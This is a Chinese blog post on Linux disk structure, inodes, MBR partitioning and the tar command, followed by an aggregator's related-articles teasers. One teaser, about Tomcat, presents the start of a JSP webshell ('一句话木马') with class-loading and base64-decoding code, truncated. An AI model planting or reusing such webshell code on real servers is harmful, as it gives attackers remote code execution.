Linux中的磁盘管理与打包命令

news2024/11/17 2:36:01

在这里插入图片描述

✅作者简介:热爱国学的Java后端开发者,修心和技术同步精进。
🍎个人主页:Java Fans的博客
🍊个人信条:不迁怒,不贰过。小知识,大智慧。
💞当前专栏:Java案例分享专栏
✨特色专栏:国学周更-心性养成之路
🥭本文内容:Linux中的磁盘管理与打包命令

文章目录

    • 磁盘基础
      • 1、IDE接口
      • 2、SCSI接口
    • inode与block
    • 磁盘分区表
    • 打包命令tar
      • 其他打包压缩工具

在这里插入图片描述

磁盘基础

  目前的磁盘可以分为 固态硬盘(SSD盘,新式硬盘)、机械硬盘(HDD盘,传统硬盘)、混合硬盘(HHD盘,一块基于传统机械硬盘诞生出来的新硬盘)。

  SSD采用 闪存颗粒 来存储,HDD采用 磁性碟 片来存储,混合硬盘(Hybrid Hard Disk,HHD)是把磁性硬盘和闪存集成到一起的一种硬盘。

  绝大多数硬盘都是固定硬盘,被永久性地密封固定在硬盘驱动器中。

在这里插入图片描述

  磁盘是一种采用磁介质的数据存储设备,数据存储在密封于洁净的硬盘驱动器内腔的若干个磁盘片上。这些盘片一般是在以铝为主要成分的片基表面涂上磁性介质所形成,在磁盘片的每一面上,以转动轴为轴心,以一定的磁密度为间隔的若干个同心圆就被划分成磁道(Track,每个磁道又被划分成若干个扇区(Sector,数据就按扇区存放在硬盘上(所以扇区是硬盘的基本存储单位,每个扇区的大小为 512B)。每个磁盘的第一个扇区非常重要,里面的 512 个字节记录里两个重要的信息:①主引导记录(Main Boot Record,MBR),存放开机管理程序,大小为 446B;②分区表,记录这个磁盘分区的情况,大小为64B。

  在每一磁面上都相应地有一个读写磁头(Head,所以不同磁头的所有相应位置的磁道就构成了柱面(Cylinder。传统的磁盘读写都是以柱面、磁头、扇区为寻址方式的(CHS 寻址)。

  磁盘在上电后保持高速旋转(7200转/min以上,现在高达10 00转/min),位于磁头臂上的磁头悬浮在磁盘表面,可以通过步进电机在不同柱面之间移动,对不同的柱面进行读写。所以在上电期间如果硬盘受到剧烈震荡,磁盘表面就容易被划伤,磁头也容易损伤。

  磁盘的物理组成是由多个圆形磁片、机械手臂、磁片读写头以及主轴马达组成的,通过马达让磁盘转动、机械手臂控制磁头在盘片上移动来读取存储在磁盘上的资料的。

  磁盘根据接口的不同,目前主要分为两种类型:IDE接口SCSI接口

1、IDE接口

  IDE接口的硬盘在一些旧的计算机里还可以看到。传输速度理论上可以达到133MBps。

在这里插入图片描述

2、SCSI接口

  SCSI的英文全称为Small Computer System Interface(小型计算机系统接口),是同IDE(ATA)完全不同的接口,IDE接口是普通PC的准接口,而SCSI并不是专门为硬盘设计的接口,是一种广泛应用于小型机上的高速数据传输技术。
目前常用的硬盘都是SCSI接口的,传输速率可以达到320MBps。

在这里插入图片描述

  Linux 系统内,磁盘设备也被看成是一种类型的文件。

inode与block

  不管在Windows系统还是Linux中磁盘分区完毕后都要对系统进行格式化,操作系统才能够使用这个分区。格式化的原因是将磁盘初始化成该操作系统能够识别的文件属性与权限。

  Linux系统对硬盘格式化后,将Linux的文件权限与文件属性相关的信息保存到inode中,将实际的数据保存到data block中,将文件系统的整体信息和inode block的数量存放到superblock中。其实 Linux 系统对磁盘的格式化就是将磁盘划分为 n个inodem个block1个superblock

  1. inode:记录文件的属性、权限,一个文件占用一个inode,同时将记录文件的数据保存到对应的block中。文件与inode的关系是一一对应,一个文件拥有一个inode。
    inode包含文件的元信息,具体有如下内容:
    • 文件的字节数;
    • 文件拥有者的User ID;
    • 文件的Group ID;
    • 文件的读、写、执行权限;
    • 文件的时间戳:ctime,inode上一次变动的时间;mtime,文件内容上一次变动的时间;atime,文件上一次打开的时间;
    • 链接数,即有多少文件名指向这个inode;
    • 文件数据block的位置;
  2. block:存放文件的实际内容,如果文件太大,一个文件要占用多个block,也就是文件与 block 的关系是一多对应的。
  3. superblock:记录文件的整体信息,inode的数量、block的数量,二者的使用情况,剩余量,以及文件格式的相关信息。

  inode 的多少控制着能够创建文件的多少,一旦inode被分配完了,即使有多大的剩余空间也不能再创建新的文件。

磁盘分区表

  磁盘分区不可能对磁盘进行物理分割,磁盘分区是逻辑上的。磁盘的每个扇区大小为512B,其中446B用来保存MBR的信息,64B保存分区的信息。保存每组分区信息需要16B。因此,一个硬盘的分区表中最多能保存4组分区信息。

  分区表中能够保存的4个分区可以分为两个类型,主分区(Primary)与扩展分区(Extended)。一个硬盘最多可以分4个主分区,即如果4个全部为主分区,那么这块硬盘也就只能有4个分区了。如果主分区小于4个那么就在分区表中保存1~3个主分区加一个扩展分区,扩展分区是可以继续划分成逻辑分区的,逻辑分区是可以格式化使用的,即扩展分区是逻辑分区的“容器”。因此可以解决一块硬盘上只能有4个分区的问题。

  • 分区是对第一扇区的分区表进行划分;
  • 硬盘默认分区表只能写入四组分区信息;
  • 四组分区信息分为主分区与扩展分区;
  • 扩展分区只能有1个,扩展分区不能被格式化使用,只能继续划分为逻辑分区;
  • 能够被格式化使用的是主分区和逻辑分区;
  • 一个硬盘可以有1~4个主分区,1个扩展分区,也可以没有扩展分区。逻辑分区可以若干;
  • 主分区是硬盘的启动分区,它是独立的,也是硬盘的第一个分区;
  • 硬盘的容量=主分区的容量+扩展分区的容量;
  • 扩展分区的容量=各个逻辑分区的容量之和。

  分区后的命名规则是设备名称加相应的编号。

实例1:

  设备/dev/hda分为5个分区,其划分形式是被分为3个主分区和一个扩展分区,其名称分别为hda1、hda2、hda3和hda4,其中hda4为扩展分区又被划分为两个逻辑分区。逻辑分区的名称一定是从hda5开始,每增加一个分区,分区名称的数字就加1,hda6代表第二个逻辑分区。因此,/dev/had能够被使用的分区为/dev/hda1、/dev/hda2、/dev/hda3、/dev/hda5、/dev/hda6.

实例2:

  有一块大容量硬盘,将其暂时分为4个分区,同时还有其他剩余容量可以作为未来规划使用,能不能将其分为4个主分区?你将建议如何划分?

  1. 分区表中最多只能存储4组分区数据,因此如果都划分成主分区的话,就不满足题干所说的留剩余空间以备其他用途,因此不能分为4个主分区。
  2. 为了满足题干中说的要有4个分区,还要有剩余空间留作他用,所以可以使用3个主分区加上1个扩展分区的分区方法。
  3. 还可以使用1个主分区+1个扩展分区,其中1个扩展分区暂时分为3个逻辑分区,且有剩余空间。
  4. 还可以使用2个主分区+1个扩展分区,其中1个扩展分区暂时分为2个逻辑分区,且有剩余空间。

打包命令tar

  Linux下的压缩与打包是分开的,是使用不同命令来实现的。

  Linux的打包和压缩一般是配合、组合使用的

  Linux下的 tar命令就是实现了打包的功能,tar可以将一个文件夹(或者称为目录)打包成一个文件,并且还支持和gzip以及bzip2配合使用,直接将目录打包并且压缩。

  tar是个相对比较复杂的命令,复杂在其参数比较多,并且经常用于和bzip2与gzip的配合使用上面。

  名称:tar
  使用权限:所有使用者
  使用方式:tar [选项] [打包文件名] 源文件

参数说明
-c创建打包文件。
-x解包或者解压缩。
-t查看tarfil里面的文件。
-z使用gzip进行压缩或者解压缩。
-j使用bzip2进行压缩或者解压缩。
-v显示压缩或者解压缩过程。
-f filename-f后面接要压缩或者解压缩的文件名。
-p使用源文件的原来属性(属性不会依据使用者而变)。
-P保留绝对路径。
-N比后面接的日期(yyyy/mm/dd)还要新的才会被打包进新建的文件中。
–exclude FILE在压缩的过程中,不要将FILE打包;除此之外的意思。

   注意: 在参数的下达中,c/x/t仅能存在一个,不可以同时存在,因为不可能同时压缩与解压缩。

  tar 命令的参数虽然很多,但常用的并不是很多,基本就是 -j、-c、-t、-v、-x 等。

在这里插入图片描述

在这里插入图片描述

其他打包压缩工具

  gzip和bzip2不是Linux唯一的打包压缩工具,在Linux下还有其它的打包压缩工具,比如比较有名的并且是开源软件的7-Zip压缩解压缩软件、dd软件、cpio软件等,其大部分都支持多个系统平台,以及Windows下常用的WinRAR也有Linux版本的。

  相对于Linux来说,tar和gzip以及bzip2的结合,处理的效率还是比较高的,并且压缩比也是很不错的,所以Linux平台默认都是以这三个命令作为打包压缩工具。


  码文不易,本篇文章就介绍到这里,如果想要学习更多Java系列知识点击关注博主,博主带你零基础学习Java知识。与此同时,对于日常生活有困扰的朋友,欢迎阅读我的第四栏目:《国学周更—心性养成之路》,学习技术的同时,我们也注重了心性的养成。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/192660.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2022.11.29(面经五,笔试+技术面)

2022.11.29(面经五) 笔试题目不难,多刷力扣就成 1.什么是面向对象? 面向对象:是把构成问题的事务分解成各个对象,而建立对象的目的也不是为了完成一个个步骤,而是为了描述某个事物在解决整个问…

应用笔记 | TSMaster核心功能之标定数据的管理

概述标定模块中,标定数据的管理也是其核心功能。主要包括以下方面的内容:标定数据的载入、标定数据导出、标定数据的刷写,以及配套应用程序的刷写等。下面来详细介绍下这些功能。一、标定数据的载入标定数据的载入路径如下:选择目…

Linux网络设备驱动框架

1. 网络设备驱动框架 1.1网际协议分层 优点: 便于封装; 1.2 网络设备驱动程序结构分层 协议接口层: 向网络协议提供统一的数据包发送接口,上层任何形式的协议都通过dev_queue_xmit()发送,通过netif_rx()接收&#xf…

一种用于IDC机房数据挖掘的应用实现

(作者单位:华北石油通信有限公司)摘要:介绍了适用于数据中心可预定义、自定义场景的轻量级应用实现。现实中监测系统的数据大多沉淀在数据库中,且获取不同设备的信号数据并把这些数据展示出来,多受检测系统…

LabVIEW更高的吞吐量与更少的延迟A

LabVIEW更高的吞吐量与更少的延迟1在设计系统时,“速度”有两个含义。“需要多快采集样品?”通常转化为吞吐量。“样本后需要多快获得结果?”通常转化为延迟。在大多数测量或控制应用中,目标是将真实世界的数据从信号中获取到某种…

LeetCode哈希表相关解法

哈希表1. 理论哈希碰撞的解决方法拉链法线性探测法2. 有效的字母异位词[242. 有效的字母异位词](https://leetcode.cn/problems/valid-anagram/)3. 两个数组的交集[349. 两个数组的交集](https://leetcode.cn/problems/intersection-of-two-arrays/)4. 快乐数[202. 快乐数](htt…

16_tomcat

tomcat 一、jsp一句话木马 这个东西网上百度就有 <%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz …

Coresight - HW Assisted Tracing on ARM

文章目录一、Introduction二、Acronyms and Classification2.1 Acronyms2.2 Classification三、Device Tree Bindings四、Framework and implementation五、Device Naming scheme六、Topology Representation七、How to use the tracer modules7.1 Using the sysFS interface7.…

如何实现RTMP协议

认识rtmp rtmp是Adobe公司出品的流媒体传输协议&#xff0c;它的全称是Real Time Messaging Protocol&#xff0c;是一个实时消息传输协议&#xff0c;学习RTMP一定要抓住 一个关键点&#xff1a;消息。 rtmp协议的原文可以在Adobe官网下载&#xff0c;内容十分精简&#xff…

用户身份管理(CIAM)如何帮助业务持续增长?|身份云研究院

精明的决策者很早就意识到&#xff0c;数字化转型的核心是为用户提供完善的“数字旅程”&#xff0c;这里的用户包括“员工”和“客户”&#xff0c;而“数字旅程”的核心则是持续提供优质的「数字用户体验&#xff08;DCX&#xff09;」。本文将主要探讨如何制定完善“客户数字…

window版Docker打包镜像并上传到服务器使用

背景&#xff1a;利用jmeter实现自动化进行线上监视&#xff0c;要部署于多台服务器上监视&#xff0c;为了节省时间&#xff0c;方便使用&#xff0c;最终决定使用docker将自动化脚本打包成镜像&#xff0c;这样只要服务器上安装docker环境&#xff0c;直接下载镜像就可以使用…

2023全新SF授权系统源码 V3.7全开源无加密版本

内容目录一、详细介绍二、效果展示1.部分代码2.效果图展示三、学习资料下载一、详细介绍 SF多应用综合验证授权系统 V4.0更新内容 采用ThinkPHP 6.0 EasyWebAdmin 支持自定义判断规则&#xff08;默认提供域名QQ机器码规则&#xff09; 支持在线充值&#xff0c;用户Api授权&…

(免费分享)springboot人事管理系统

基础环境&#xff1a;1. JDK:1.82. MySQL:5.73. Maven3.01. 核心框架&#xff1a;Spring Boot 2.2.13.RELEASE2. ORM框架&#xff1a;MyBatisPlus 3.1.23. 数据库连接池&#xff1a;Druid 1.2.84. 安全框架&#xff1a;Apache Shiro 1.8.05. 日志&#xff1a;SLF4J &#xff0c…

最近邻插值法

文章目录前言一、最近邻插值法二、代码实现总结本章节进入图像处理&#xff0c;利用python语言来实现各种图像处理的方法&#xff0c;从软件角度去理解图像处理方法&#xff0c;为后期的FPGA处理图像做准备。 前言 一、最近邻插值法 最近邻插值就是在目标像素点上插入离对应原…

界面控件DevExpress WinForm中文教程 - 如何应用Windows 11 UI?

DevExpress WinForm拥有180组件和UI库&#xff0c;能为Windows Forms平台创建具有影响力的业务解决方案。DevExpress WinForm能完美构建流畅、美观且易于使用的应用程序&#xff0c;无论是Office风格的界面&#xff0c;还是分析处理大批量的业务数据&#xff0c;它都能轻松胜任…

全网最详细的org.springframework.jdbc.UncategorizedSQLException的多种解决方法

文章目录1. 引出问题2. 分析问题3. 解决问题4. 解决该问题的其他方法4.1 方法14.2 方法24.3 方法34.4 方法4如果你遇到的问题不是我所遇到的问题&#xff0c;可以使用最下面的方法解决你遇到的这个错误。 1. 引出问题 今天在写“Mybatis-Plus中分页插件PaginationInterceptor…

利用Python读取外部数据文件

名字&#xff1a;阿玥的小东东 学习&#xff1a;python、c 主页&#xff1a;阿玥的小东东 目录 一、读取文本文件的数据 二、读取电子表格文件 三、读取统计软件生成的数据文件 不论是数据分析&#xff0c;数据可视化&#xff0c;还是数据挖掘&#xff0c;一切的一切全都是以…

java常用类: Arrays类的常用方法

java常用类型: Ineteger等包装类 String类&#xff0c;StringBuffer类和StringBuilder类 Math类及常用方法 System类及常用方法 Arrays类及常用方法 BigInteger类和BigDecimal类及常用方法 日期类Date类,Calender类和LocalDateTime类 文章目录ArraysArrays常用方法Arrays.sort(…

全排列问题的解题思路

假设有这么个正整数n&#xff0c;要求输出1到n的所有排列&#xff1f;   输入&#xff1a;3 输出&#xff1a;123&#xff0c;132&#xff0c;213&#xff0c;231&#xff0c;312&#xff0c;321 一、无脑循环求解&#xff1f; 拿到这个问题&#xff0c;当然我的第一个想法就…

上下文驱动的图上文案生成

✍&#x1f3fb; 本文作者&#xff1a;持信、弈臻、悟放、积流、孟诸1. 摘要为商品图片上特定位置配上装饰性文案来突出重点在广告业务中有着十分广泛的应用前景。然而&#xff0c;现有的图片文案描述生成系统均生成与图片位置关系无关的文案&#xff0c;无法很好地应用到广告业…